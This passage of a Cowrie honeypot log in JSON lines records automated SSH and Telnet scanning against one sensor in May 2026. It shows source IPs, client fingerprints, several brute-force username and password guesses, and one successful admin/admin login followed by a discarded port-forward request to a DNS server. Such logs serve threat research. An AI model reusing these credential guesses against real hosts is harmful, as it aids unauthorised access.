{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:17.303834Z","src_ip":"50.225.176.238","session":"eaa22be3c209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:17.316159Z","src_ip":"50.225.176.238","session":"eaa22be3c209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"adminadmin","message":"login attempt [ftpuser/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:17.397707Z","src_ip":"50.225.176.238","session":"eaa22be3c209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:18.413348Z","src_ip":"50.225.176.238","session":"eaa22be3c209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.044875621795654,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:25.673929Z","src_ip":"212.55.149.117","session":"8d4f0ea69735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":52462,"dst_ip":"10.17.0.5","dst_port":22,"session":"58989ac21f18","protocol":"ssh","message":"New connection: 198.98.56.227:52462 (10.17.0.5:22) [session: 58989ac21f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:43.524544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:43.529791Z","src_ip":"198.98.56.227","session":"58989ac21f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:43.537848Z","src_ip":"198.98.56.227","session":"58989ac21f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bestserver","message":"login attempt [root/bestserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:43.613319Z","src_ip":"198.98.56.227","session":"58989ac21f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:44.633998Z","src_ip":"198.98.56.227","session":"58989ac21f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14200,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd98ac6e43cf","protocol":"telnet","message":"New connection: 212.55.149.117:14200 (10.17.0.5:23) [session: cd98ac6e43cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:53:50.315644Z"}
{"eventid":"cowrie.session.closed","duration":60.61531734466553,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:05.445574Z","src_ip":"212.55.149.117","session":"c005384a4ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":51274,"dst_ip":"10.17.0.5","dst_port":22,"session":"3966584cd62d","protocol":"ssh","message":"New connection: 50.225.176.238:51274 (10.17.0.5:22) [session: 3966584cd62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:06.626682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:06.631485Z","src_ip":"50.225.176.238","session":"3966584cd62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:06.643453Z","src_ip":"50.225.176.238","session":"3966584cd62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"louis","password":"test","message":"login attempt [louis/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:06.723219Z","src_ip":"50.225.176.238","session":"3966584cd62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:07.738069Z","src_ip":"50.225.176.238","session":"3966584cd62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":40624,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7371c1a42b1","protocol":"ssh","message":"New connection: 198.98.56.227:40624 (10.17.0.5:22) [session: b7371c1a42b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:31.878117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:31.887426Z","src_ip":"198.98.56.227","session":"b7371c1a42b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:31.892148Z","src_ip":"198.98.56.227","session":"b7371c1a42b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maurice","password":"test","message":"login attempt [maurice/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:31.930125Z","src_ip":"198.98.56.227","session":"b7371c1a42b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:32.946515Z","src_ip":"198.98.56.227","session":"b7371c1a42b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18943,"dst_ip":"10.17.0.5","dst_port":23,"session":"2713f30bb0e0","protocol":"telnet","message":"New connection: 212.55.149.117:18943 (10.17.0.5:23) [session: 2713f30bb0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:41.722514Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6988,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e543ae6baad","protocol":"ssh","message":"New connection: 87.251.64.176:6988 (10.17.0.5:22) [session: 3e543ae6baad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:44.647898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:44.652908Z","src_ip":"87.251.64.176","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:44.749527Z","src_ip":"87.251.64.176","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:45.041774Z","src_ip":"87.251.64.176","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:45.141929Z","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:45.243778Z","src_ip":"87.251.64.176","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:45.343461Z","src_ip":"87.251.64.176","session":"3e543ae6baad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.0043830871582,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:48.319902Z","src_ip":"212.55.149.117","session":"cd98ac6e43cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36797,"dst_ip":"10.17.0.5","dst_port":23,"session":"975212bf42bb","protocol":"telnet","message":"New connection: 212.55.149.117:36797 (10.17.0.5:23) [session: 975212bf42bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:52.635873Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":60576,"dst_ip":"10.17.0.5","dst_port":22,"session":"085330d78f8b","protocol":"ssh","message":"New connection: 50.225.176.238:60576 (10.17.0.5:22) [session: 085330d78f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:56.713719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:56.718267Z","src_ip":"50.225.176.238","session":"085330d78f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:56.730006Z","src_ip":"50.225.176.238","session":"085330d78f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12344321","message":"login attempt [user/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:56.811276Z","src_ip":"50.225.176.238","session":"085330d78f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:54:57.826113Z","src_ip":"50.225.176.238","session":"085330d78f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":57020,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fafbb6b4853","protocol":"ssh","message":"New connection: 198.98.56.227:57020 (10.17.0.5:22) [session: 9fafbb6b4853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:20.025114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:20.032778Z","src_ip":"198.98.56.227","session":"9fafbb6b4853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:20.038593Z","src_ip":"198.98.56.227","session":"9fafbb6b4853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tileserver","password":"tileserver","message":"login attempt [tileserver/tileserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:20.107237Z","src_ip":"198.98.56.227","session":"9fafbb6b4853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:21.119692Z","src_ip":"198.98.56.227","session":"9fafbb6b4853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.16.171","src_port":34752,"dst_ip":"10.17.0.5","dst_port":22,"session":"3330019e0d5a","protocol":"ssh","message":"New connection: 172.105.16.171:34752 (10.17.0.5:22) [session: 3330019e0d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.193247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.199220Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v0